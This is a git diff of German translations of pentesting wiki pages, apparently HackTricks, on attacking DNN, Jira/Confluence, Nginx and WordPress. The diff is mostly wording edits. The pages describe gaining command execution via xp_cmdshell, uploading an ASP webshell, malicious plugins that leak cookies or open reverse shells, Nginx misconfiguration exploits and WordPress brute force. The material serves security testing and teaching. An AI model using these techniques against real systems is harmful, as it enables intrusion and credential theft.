@@ -10,7 +10,7 @@ Wenn Sie sich als **Administrator** in DNN anmelden, ist es einfach, RCE zu erha
### Über SQL
-Eine SQL-Konsole ist auf der **`Einstellungen`**-Seite zugänglich, wo Sie **`xp_cmdshell`** aktivieren und **Befehle des Betriebssystems ausführen** können.
+Eine SQL-Konsole ist auf der **`Einstellungen`**-Seite zugänglich, wo Sie **`xp_cmdshell`** aktivieren und **Betriebssystembefehle ausführen** können.
Verwenden Sie diese Zeilen, um **`xp_cmdshell`** zu aktivieren:
```sql
@@ -27,14 +27,14 @@ xp_cmdshell 'whoami'
```
### Via ASP-Webshell
-In `Einstellungen -> Sicherheit -> Mehr -> Weitere Sicherheitseinstellungen` können Sie **neue erlaubte Erweiterungen** unter `Erlaubte Dateierweiterungen` hinzufügen und dann auf die Schaltfläche `Speichern` klicken.
+In `Settings -> Security -> More -> More Security Settings` können Sie **neue erlaubte Erweiterungen** unter `Allowable File Extensions` hinzufügen und dann auf die Schaltfläche `Save` klicken.
-Fügen Sie **`asp`** oder **`aspx`** hinzu und laden Sie dann in **`/admin/file-management`** eine **asp-Webshell** namens `shell.asp` hoch.
+Fügen Sie **`asp`** oder **`aspx`** hinzu und laden Sie dann in **`/admin/file-management`** eine **asp-Webshell** namens `shell.asp` hoch, zum Beispiel.
Greifen Sie dann auf **`/Portals/0/shell.asp`** zu, um auf Ihre Webshell zuzugreifen.
### Privilegieneskalation
-Sie können **Privilegien eskalieren** mit **Potatoes** oder **PrintSpoofer** zum Beispiel.
+Sie können **Privilegien eskalieren** mit **Potatoes** oder **PrintSpoofer**, zum Beispiel.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md
index be44126e6..fe20a7bb6 100644
--- a/src/network-services-pentesting/pentesting-web/jira.md
+++ b/src/network-services-pentesting/pentesting-web/jira.md
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
-## Berechtigungen überprüfen
+## Überprüfen von Berechtigungen
-In Jira können **Berechtigungen von jedem Benutzer überprüft werden**, ob authentifiziert oder nicht, über die Endpunkte `/rest/api/2/mypermissions` oder `/rest/api/3/mypermissions`. Diese Endpunkte zeigen die aktuellen Berechtigungen des Benutzers an. Ein bemerkenswerter Punkt ist, wenn **nicht-authentifizierte Benutzer Berechtigungen haben**, was auf eine **Sicherheitsanfälligkeit** hinweist, die potenziell für eine **Belohnung** in Frage kommen könnte. Ebenso heben **unerwartete Berechtigungen für authentifizierte Benutzer** ebenfalls eine **Anfälligkeit** hervor.
+In Jira können **Berechtigungen von jedem Benutzer, authentifiziert oder nicht**, über die Endpunkte `/rest/api/2/mypermissions` oder `/rest/api/3/mypermissions` überprüft werden. Diese Endpunkte zeigen die aktuellen Berechtigungen des Benutzers an. Ein bemerkenswerter Punkt ist, wenn **nicht-authentifizierte Benutzer Berechtigungen haben**, was auf eine **Sicherheitsanfälligkeit** hinweist, die potenziell für eine **Belohnung** in Frage kommen könnte. Ebenso heben **unerwartete Berechtigungen für authentifizierte Benutzer** ebenfalls eine **Anfälligkeit** hervor.
-Ein wichtiger **Update** wurde am **1. Februar 2019** vorgenommen, der den 'mypermissions'-Endpunkt dazu verpflichtet, einen **'permission'-Parameter** einzuschließen. Diese Anforderung zielt darauf ab, die **Sicherheit zu verbessern**, indem die abgefragten Berechtigungen spezifiziert werden: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+Ein wichtiger **Update** wurde am **1. Februar 2019** vorgenommen, der erfordert, dass der 'mypermissions'-Endpunkt einen **'permission'-Parameter** enthält. Diese Anforderung zielt darauf ab, die **Sicherheit zu erhöhen**, indem die abgefragten Berechtigungen spezifiziert werden: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
- ADD_COMMENTS
- ADMINISTER
@@ -60,7 +60,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
- [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
- [https://github.com/bcoles/jira_scan](https://github.com/bcoles/jira_scan)
-## Atlasian Plugins
+## Atlassian Plugins
Wie in diesem [**Blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins) angegeben, ist es in der Dokumentation über [Plugin-Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) möglich, die verschiedenen Arten von Plugins zu überprüfen, wie:
@@ -93,7 +93,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; }
}
```
-Es ist möglich zu beobachten, dass diese Plugins anfällig für gängige Webanfälligkeiten wie XSS sein könnten. Zum Beispiel ist das vorherige Beispiel anfällig, weil es Daten widerspiegelt, die vom Benutzer bereitgestellt werden.
+Es ist möglich zu beobachten, dass diese Plugins anfällig für gängige Webanfälligkeiten wie XSS sein könnten. Zum Beispiel ist das vorherige Beispiel anfällig, weil es Daten widerspiegelt, die vom Benutzer bereitgestellt werden.
Sobald ein XSS gefunden wurde, können Sie in [**diesem GitHub-Repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) einige Payloads finden, um die Auswirkungen des XSS zu erhöhen.
@@ -108,6 +108,6 @@ Dies sind einige der Aktionen, die ein bösartiges Plugin ausführen könnte:
- **Stehlen von Sitzungstokens**: Fügen Sie einen Endpunkt hinzu, der die Header in der Antwort (mit dem Cookie) zurückgibt, und etwas JavaScript, das damit Kontakt aufnimmt und die Cookies leakt.
- **Befehlsausführung**: Natürlich ist es möglich, ein Plugin zu erstellen, das Code ausführt.
- **Reverse Shell**: Oder eine Reverse Shell erhalten.
-- **DOM-Proxying**: Wenn sich die Confluence in einem privaten Netzwerk befindet, wäre es möglich, eine Verbindung über den Browser eines Benutzers mit Zugriff darauf herzustellen und beispielsweise den Server über ihn zu kontaktieren, um Befehle auszuführen.
+- **DOM-Proxying**: Wenn sich die Confluence in einem privaten Netzwerk befindet, wäre es möglich, eine Verbindung über den Browser eines Benutzers mit Zugriff darauf herzustellen und beispielsweise den Server über ihn zu kontaktieren, um Befehle auszuführen.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md
index bad8ab93d..1b18c81fb 100644
--- a/src/network-services-pentesting/pentesting-web/nginx.md
+++ b/src/network-services-pentesting/pentesting-web/nginx.md
@@ -16,13 +16,13 @@ proxy_pass http://127.0.0.1:8080/;
}
}
```
-In dieser Konfiguration ist `/etc/nginx` als das Stammverzeichnis festgelegt. Dieses Setup ermöglicht den Zugriff auf Dateien im angegebenen Stammverzeichnis, wie z.B. `/hello.txt`. Es ist jedoch wichtig zu beachten, dass nur ein bestimmter Ort (`/hello.txt`) definiert ist. Es gibt keine Konfiguration für den Stammort (`location / {...}`). Diese Auslassung bedeutet, dass die Root-Direktive global gilt, was es Anfragen an den Stammpfad `/` ermöglicht, auf Dateien unter `/etc/nginx` zuzugreifen.
+In dieser Konfiguration ist `/etc/nginx` als das Wurzelverzeichnis festgelegt. Dieses Setup ermöglicht den Zugriff auf Dateien im angegebenen Wurzelverzeichnis, wie z.B. `/hello.txt`. Es ist jedoch wichtig zu beachten, dass nur ein spezifischer Ort (`/hello.txt`) definiert ist. Es gibt keine Konfiguration für den Wurzelort (`location / {...}`). Diese Auslassung bedeutet, dass die Wurzelanweisung global gilt, was es Anfragen an den Wurzelpfad `/` ermöglicht, auf Dateien unter `/etc/nginx` zuzugreifen.
-Eine kritische Sicherheitsüberlegung ergibt sich aus dieser Konfiguration. Eine einfache `GET`-Anfrage, wie `GET /nginx.conf`, könnte sensible Informationen offenlegen, indem die Nginx-Konfigurationsdatei unter `/etc/nginx/nginx.conf` bereitgestellt wird. Das Setzen des Stammverzeichnisses auf ein weniger sensibles Verzeichnis, wie `/etc`, könnte dieses Risiko mindern, dennoch könnte es weiterhin unbeabsichtigten Zugriff auf andere kritische Dateien, einschließlich anderer Konfigurationsdateien, Zugriffsprotokolle und sogar verschlüsselter Anmeldeinformationen für die HTTP-Basisauthentifizierung, ermöglichen.
+Eine kritische Sicherheitsüberlegung ergibt sich aus dieser Konfiguration. Eine einfache `GET`-Anfrage, wie `GET /nginx.conf`, könnte sensible Informationen offenlegen, indem die Nginx-Konfigurationsdatei unter `/etc/nginx/nginx.conf` bereitgestellt wird. Das Setzen des Wurzels auf ein weniger sensibles Verzeichnis, wie `/etc`, könnte dieses Risiko mindern, dennoch könnte es weiterhin unbeabsichtigten Zugriff auf andere kritische Dateien, einschließlich anderer Konfigurationsdateien, Zugriffsprotokolle und sogar verschlüsselter Anmeldeinformationen für die HTTP-Basisauthentifizierung, ermöglichen.
## Alias LFI Fehlkonfiguration
-In den Konfigurationsdateien von Nginx ist eine genaue Überprüfung der "location"-Direktiven erforderlich. Eine Schwachstelle, die als Local File Inclusion (LFI) bekannt ist, kann unbeabsichtigt durch eine Konfiguration eingeführt werden, die der folgenden ähnelt:
+In den Konfigurationsdateien von Nginx ist eine genaue Überprüfung der "location"-Anweisungen erforderlich. Eine Schwachstelle, die als Local File Inclusion (LFI) bekannt ist, kann unbeabsichtigt durch eine Konfiguration eingeführt werden, die der folgenden ähnelt:
```
location /imgs {
alias /path/images/;
@@ -69,7 +69,7 @@ deny all;
>
> Ein Regex kann ebenfalls verwundbar sein, wie:
>
-> `location ~ /docs/([^/])? { … $1 … }` - Verwundbar
+> `location ~ /docs/([^/])? { … $1 … }` - Verwundbar
>
> `location ~ /docs/([^/\s])? { … $1 … }` - Nicht verwundbar (überprüft Leerzeichen)
>
@@ -98,7 +98,7 @@ Diese Technik wird auch [**in diesem Vortrag erklärt**](https://www.youtube.com
- `https://example.com/%20X` - Jeder HTTP-Code
- `https://example.com/%20H` - 400 Bad Request
-Wenn anfällig, wird die erste als "X" zurückgegeben, da X jede HTTP-Methode ist, und die zweite wird einen Fehler zurückgeben, da H keine gültige Methode ist. Der Server erhält also etwas wie: `GET / H HTTP/1.1` und dies wird den Fehler auslösen.
+Wenn anfällig, wird die erste Anfrage zurückgegeben, da "X" jede HTTP-Methode ist, und die zweite wird einen Fehler zurückgeben, da H keine gültige Methode ist. Der Server erhält also etwas wie: `GET / H HTTP/1.1` und dies wird den Fehler auslösen.
Ein weiteres Erkennungsbeispiel wäre:
@@ -113,7 +113,7 @@ location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
```
-- Beachten Sie, dass **`$uri`** erneut in der URL ist (diesmal innerhalb eines Parameters)
+- Beachte, wie erneut **`$uri`** in der URL ist (diesmal innerhalb eines Parameters)
```
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
@@ -127,9 +127,9 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
```
### Any variable
-Es wurde entdeckt, dass **benutzereingereichte Daten** unter bestimmten Umständen als **Nginx-Variable** behandelt werden könnten. Die Ursache dieses Verhaltens bleibt etwas unklar, ist jedoch weder selten noch einfach zu überprüfen. Diese Anomalie wurde in einem Sicherheitsbericht auf HackerOne hervorgehoben, der [hier](https://hackerone.com/reports/370094) eingesehen werden kann. Weitere Untersuchungen der Fehlermeldung führten zur Identifizierung ihres Auftretens innerhalb des [SSI-Filtermoduls des Nginx-Codebases](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wobei Server Side Includes (SSI) als Hauptursache festgestellt wurden.
+Es wurde festgestellt, dass **benutzereingereichte Daten** unter bestimmten Umständen als **Nginx-Variable** behandelt werden könnten. Die Ursache dieses Verhaltens bleibt etwas unklar, ist jedoch weder selten noch einfach zu überprüfen. Diese Anomalie wurde in einem Sicherheitsbericht auf HackerOne hervorgehoben, der [hier](https://hackerone.com/reports/370094) eingesehen werden kann. Weitere Untersuchungen der Fehlermeldung führten zur Identifizierung ihres Auftretens innerhalb des [SSI-Filtermoduls des Nginx-Codebases](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wobei Server Side Includes (SSI) als Hauptursache festgestellt wurden.
-Um diese Fehlkonfiguration zu **erkennen**, kann der folgende Befehl ausgeführt werden, der das Setzen eines Referer-Headers beinhaltet, um das Drucken von Variablen zu testen:
+Um diese **Fehlkonfiguration zu erkennen**, kann der folgende Befehl ausgeführt werden, der das Setzen eines Referer-Headers beinhaltet, um das Drucken von Variablen zu testen:
```bash
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
```
@@ -137,7 +137,7 @@ Scans für diese Fehlkonfiguration über Systeme hinweg haben mehrere Fälle erg
## Rohes Backend-Antwortlesen
-Nginx bietet eine Funktion über `proxy_pass`, die die Abfangung von Fehlern und HTTP-Headern, die vom Backend erzeugt werden, ermöglicht, um interne Fehlermeldungen und Header zu verbergen. Dies wird erreicht, indem Nginx benutzerdefinierte Fehlerseiten als Antwort auf Backend-Fehler bereitstellt. Herausforderungen treten jedoch auf, wenn Nginx eine ungültige HTTP-Anfrage erhält. Eine solche Anfrage wird unverändert an das Backend weitergeleitet, und die rohe Antwort des Backends wird dann direkt an den Client gesendet, ohne dass Nginx eingreift.
+Nginx bietet eine Funktion über `proxy_pass`, die die Abfangung von Fehlern und HTTP-Headern ermöglicht, die vom Backend erzeugt werden, mit dem Ziel, interne Fehlermeldungen und Header zu verbergen. Dies wird erreicht, indem Nginx benutzerdefinierte Fehlerseiten als Antwort auf Backend-Fehler bereitstellt. Herausforderungen treten jedoch auf, wenn Nginx eine ungültige HTTP-Anfrage erhält. Eine solche Anfrage wird unverändert an das Backend weitergeleitet, und die rohe Antwort des Backends wird dann direkt an den Client gesendet, ohne dass Nginx eingreift.
Betrachten Sie ein Beispiel-Szenario mit einer uWSGI-Anwendung:
```python
@@ -153,16 +153,16 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
-- [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): Diese Direktive ermöglicht es Nginx, eine benutzerdefinierte Antwort für Backend-Antworten mit einem Statuscode größer als 300 bereitzustellen. Sie stellt sicher, dass für unsere Beispiel-uWSGI-Anwendung eine `500 Error`-Antwort abgefangen und von Nginx verarbeitet wird.
+- [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): Diese Direktive ermöglicht es Nginx, eine benutzerdefinierte Antwort für Backend-Antworten mit einem Statuscode größer als 300 bereitzustellen. Sie stellt sicher, dass für unsere Beispiel-uWSGI-Anwendung eine `500 Error`-Antwort von Nginx abgefangen und verarbeitet wird.
- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): Wie der Name schon sagt, verbirgt diese Direktive bestimmte HTTP-Header vor dem Client und verbessert so die Privatsphäre und Sicherheit.
-Wenn eine gültige `GET`-Anfrage gestellt wird, verarbeitet Nginx sie normalerweise und gibt eine standardmäßige Fehlerantwort zurück, ohne geheime Header offenzulegen. Eine ungültige HTTP-Anfrage umgeht jedoch diesen Mechanismus, was zur Offenlegung von rohen Backend-Antworten, einschließlich geheimer Header und Fehlermeldungen, führt.
+Wenn eine gültige `GET`-Anfrage gestellt wird, verarbeitet Nginx sie normalerweise und gibt eine standardmäßige Fehlermeldung zurück, ohne geheime Header offenzulegen. Eine ungültige HTTP-Anfrage umgeht jedoch diesen Mechanismus, was zur Offenlegung von rohen Backend-Antworten, einschließlich geheimer Header und Fehlermeldungen, führt.
## merge_slashes auf aus gesetzt
-Standardmäßig ist die **`merge_slashes`-Direktive** von Nginx auf **`on`** gesetzt, was mehrere aufeinanderfolgende Schrägstriche in einer URL zu einem einzigen Schrägstrich komprimiert. Diese Funktion, die die Verarbeitung von URLs optimiert, kann unbeabsichtigt Schwachstellen in Anwendungen hinter Nginx verbergen, insbesondere solche, die anfällig für lokale Datei-Inklusionsangriffe (LFI) sind. Sicherheitsexperten **Danny Robinson und Rotem Bar** haben die potenziellen Risiken hervorgehoben, die mit diesem Standardverhalten verbunden sind, insbesondere wenn Nginx als Reverse-Proxy fungiert.
+Standardmäßig ist die **`merge_slashes`-Direktive** von Nginx auf **`on`** gesetzt, was mehrere aufeinanderfolgende Schrägstriche in einer URL zu einem einzigen Schrägstrich komprimiert. Diese Funktion, die die Verarbeitung von URLs vereinfacht, kann unbeabsichtigt Schwachstellen in Anwendungen hinter Nginx verbergen, insbesondere solche, die anfällig für lokale Datei-Inklusionsangriffe (LFI) sind. Sicherheitsexperten **Danny Robinson und Rotem Bar** haben die potenziellen Risiken hervorgehoben, die mit diesem Standardverhalten verbunden sind, insbesondere wenn Nginx als Reverse-Proxy fungiert.
-Um solche Risiken zu mindern, wird empfohlen, die **`merge_slashes`-Direktive auszuschalten** für Anwendungen, die anfällig für diese Schwachstellen sind. Dies stellt sicher, dass Nginx Anfragen an die Anwendung weiterleitet, ohne die URL-Struktur zu ändern, wodurch keine zugrunde liegenden Sicherheitsprobleme maskiert werden.
+Um solche Risiken zu mindern, wird empfohlen, die **`merge_slashes`-Direktive auszuschalten** für Anwendungen, die anfällig für diese Schwachstellen sind. Dies stellt sicher, dass Nginx Anfragen an die Anwendung weiterleitet, ohne die URL-Struktur zu ändern, und somit keine zugrunde liegenden Sicherheitsprobleme maskiert.
Für weitere Informationen siehe [Danny Robinson und Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
@@ -176,7 +176,7 @@ Wie in [**diesem Bericht**](https://mizu.re/post/cors-playground) gezeigt, gibt
- `X-Accel-Expires`: Legt die Ablaufzeit für die Antwort fest, wenn X-Accel-Redirect verwendet wird.
- `X-Accel-Limit-Rate`: Begrenzung der Übertragungsrate für Antworten, wenn X-Accel-Redirect verwendet wird.
-Zum Beispiel wird der Header **`X-Accel-Redirect`** eine interne **Umleitung** in Nginx verursachen. Wenn also eine Nginx-Konfiguration mit etwas wie **`root /`** und eine Antwort vom Webserver mit **`X-Accel-Redirect: .env`** vorhanden ist, wird Nginx den Inhalt von **`/.env`** senden (Path Traversal).
+Zum Beispiel wird der Header **`X-Accel-Redirect`** eine interne **Umleitung** in Nginx verursachen. Wenn also eine Nginx-Konfiguration mit etwas wie **`root /`** und einer Antwort vom Webserver mit **`X-Accel-Redirect: .env`** vorhanden ist, wird Nginx den Inhalt von **`/.env`** senden (Path Traversal).
### **Standardwert in der Map-Direktive**
@@ -199,9 +199,9 @@ return 200 "Hello. It is private area: $mappocallow";
}
}
```
-Ohne ein `default` kann ein **böswilliger Benutzer** die Sicherheit umgehen, indem er auf eine **nicht definierte URI** innerhalb von `/map-poc` zugreift. [Das Nginx-Handbuch](https://nginx.org/en/docs/http/ngx_http_map_module.html) empfiehlt, einen **Standardwert** festzulegen, um solche Probleme zu vermeiden.
+Ohne ein `default` kann ein **böswilliger Benutzer** die Sicherheit umgehen, indem er auf eine **undefinierte URI** innerhalb von `/map-poc` zugreift. [Das Nginx-Handbuch](https://nginx.org/en/docs/http/ngx_http_map_module.html) empfiehlt, einen **Standardwert** festzulegen, um solche Probleme zu vermeiden.
-### **DNS Spoofing Verwundbarkeit**
+### **DNS-Spoofing-Schwachstelle**
DNS-Spoofing gegen Nginx ist unter bestimmten Bedingungen möglich. Wenn ein Angreifer den **DNS-Server** kennt, der von Nginx verwendet wird, und seine DNS-Abfragen abfangen kann, kann er DNS-Einträge fälschen. Diese Methode ist jedoch ineffektiv, wenn Nginx so konfiguriert ist, dass es **localhost (127.0.0.1)** für die DNS-Auflösung verwendet. Nginx erlaubt die Angabe eines DNS-Servers wie folgt:
```yaml
@@ -209,14 +209,14 @@ resolver 8.8.8.8;
```
### **`proxy_pass` und `internal` Direktiven**
-Die **`proxy_pass`** Direktive wird verwendet, um Anfragen an andere Server weiterzuleiten, entweder intern oder extern. Die **`internal`** Direktive stellt sicher, dass bestimmte Standorte nur innerhalb von Nginx zugänglich sind. Obwohl diese Direktiven an sich keine Schwachstellen sind, erfordert ihre Konfiguration eine sorgfältige Prüfung, um Sicherheitslücken zu vermeiden.
+Die **`proxy_pass`** Direktive wird verwendet, um Anfragen an andere Server weiterzuleiten, entweder intern oder extern. Die **`internal`** Direktive stellt sicher, dass bestimmte Standorte nur innerhalb von Nginx zugänglich sind. Während diese Direktiven für sich genommen keine Schwachstellen darstellen, erfordert ihre Konfiguration eine sorgfältige Prüfung, um Sicherheitslücken zu vermeiden.
## proxy_set_header Upgrade & Connection
Wenn der Nginx-Server so konfiguriert ist, dass er die Upgrade- und Connection-Header weitergibt, könnte ein [**h2c Smuggling Angriff**](../../pentesting-web/h2c-smuggling.md) durchgeführt werden, um auf geschützte/interne Endpunkte zuzugreifen.
> [!CAUTION]
-> Diese Schwachstelle würde es einem Angreifer ermöglichen, eine **direkte Verbindung mit dem `proxy_pass` Endpunkt** (`http://backend:9999` in diesem Fall) herzustellen, dessen Inhalt nicht von Nginx überprüft wird.
+> Diese Schwachstelle würde es einem Angreifer ermöglichen, **eine direkte Verbindung mit dem `proxy_pass` Endpunkt** (`http://backend:9999` in diesem Fall) herzustellen, dessen Inhalt nicht von Nginx überprüft wird.
Beispiel für eine anfällige Konfiguration, um `/flag` von [hier](https://bishopfox.com/blog/h2c-smuggling-request) zu stehlen:
```
@@ -239,11 +239,11 @@ deny all;
}
```
> [!WARNING]
-> Beachten Sie, dass selbst wenn `proxy_pass` auf einen bestimmten **Pfad** wie `http://backend:9999/socket.io` zeigt, die Verbindung mit `http://backend:9999` hergestellt wird, sodass Sie **jeden anderen Pfad innerhalb dieses internen Endpunkts kontaktieren können. Es spielt also keine Rolle, ob ein Pfad in der URL von proxy_pass angegeben ist.**
+> Beachten Sie, dass selbst wenn der `proxy_pass` auf einen bestimmten **Pfad** wie `http://backend:9999/socket.io` zeigt, die Verbindung mit `http://backend:9999` hergestellt wird, sodass Sie **jeden anderen Pfad innerhalb dieses internen Endpunkts kontaktieren können. Es spielt also keine Rolle, ob ein Pfad in der URL von proxy_pass angegeben ist.**
## Probieren Sie es selbst aus
-Detectify hat ein GitHub-Repository erstellt, in dem Sie Docker verwenden können, um Ihren eigenen anfälligen Nginx-Testserver mit einigen der in diesem Artikel besprochenen Fehlkonfigurationen einzurichten und selbst nach ihnen zu suchen!
+Detectify hat ein GitHub-Repository erstellt, in dem Sie Docker verwenden können, um Ihren eigenen anfälligen Nginx-Testserver mit einigen der in diesem Artikel besprochenen Fehlkonfigurationen einzurichten und diese selbst zu finden!
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
@@ -251,7 +251,7 @@ Detectify hat ein GitHub-Repository erstellt, in dem Sie Docker verwenden könne
### [GIXY](https://github.com/yandex/gixy)
-Gixy ist ein Tool zur Analyse der Nginx-Konfiguration. Das Hauptziel von Gixy ist es, Sicherheitsfehlkonfigurationen zu verhindern und die Fehlererkennung zu automatisieren.
+Gixy ist ein Tool zur Analyse von Nginx-Konfigurationen. Das Hauptziel von Gixy ist es, Sicherheitsfehlkonfigurationen zu verhindern und die Fehlererkennung zu automatisieren.
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index c6eff183a..666470561 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -5,46 +5,46 @@
## Grundinformationen
- **Hochgeladene** Dateien gehen zu: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- **Theme-Dateien finden sich in /wp-content/themes/,** also wenn Sie etwas PHP des Themes ändern, um RCE zu erhalten, werden Sie wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit **Theme twentytwelve** können Sie die **404.php**-Datei unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **zugreifen**.
+- **Theme-Dateien finden sich in /wp-content/themes/,** also wenn du etwas PHP des Themes änderst, um RCE zu erhalten, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit **Theme twentytwelve** kannst du die **404.php** Datei in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **zugreifen**.
- **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
-- In **wp-config.php** finden Sie das Root-Passwort der Datenbank.
+- In **wp-config.php** kannst du das Root-Passwort der Datenbank finden.
- Standard-Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
-### **Haupt WordPress-Dateien**
+### **Haupt WordPress Dateien**
- `index.php`
- `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
-- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Website verwendet.
+- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.
- Login-Ordner (könnten umbenannt werden, um sie zu verbergen):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus fungiert. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
-- Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
+- Der `wp-content` Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
- `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
- `wp-includes/` Dies ist das Verzeichnis, in dem Kern-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.
- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Beitragstypen und Taxonomien.
**Post-Exploitation**
-- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
+- Die `wp-config.php` Datei enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
### Benutzerberechtigungen
- **Administrator**
- **Editor**: Veröffentlicht und verwaltet seine und andere Beiträge
- **Autor**: Veröffentlicht und verwaltet seine eigenen Beiträge
-- **Mitwirkender**: Schreibt und verwaltet seine Beiträge, kann sie jedoch nicht veröffentlichen
+- **Mitwirkender**: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
- **Abonnent**: Durchsucht Beiträge und bearbeitet sein Profil
## **Passive Enumeration**
### **WordPress-Version abrufen**
-Überprüfen Sie, ob Sie die Dateien `/license.txt` oder `/readme.html` finden können.
+Überprüfe, ob du die Dateien `/license.txt` oder `/readme.html` finden kannst.
Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
@@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
-### Versionen im Allgemeinen extrahieren
+### Versionen allgemein extrahieren
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@@ -103,11 +103,11 @@ Beachten Sie, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erste
Beachten Sie auch, dass **/wp-json/wp/v2/pages** IP-Adressen leaken könnte.
-- **Login-Benutzernamen-Enumeration**: Beim Login in **`/wp-login.php`** ist die **Nachricht** **anders**, wenn der angegebene **Benutzername existiert oder nicht**.
+- **Benutzernamenenumeration beim Login**: Beim Einloggen in **`/wp-login.php`** ist die **Nachricht** **anders**, wenn der angegebene **Benutzername existiert oder nicht**.
### XML-RPC
-Wenn `xml-rpc.php` aktiv ist, können Sie einen Brute-Force-Angriff auf die Anmeldeinformationen durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (Sie können diesen Prozess automatisieren[ indem Sie dies verwenden](https://github.com/relarizky/wpxploit) zum Beispiel).
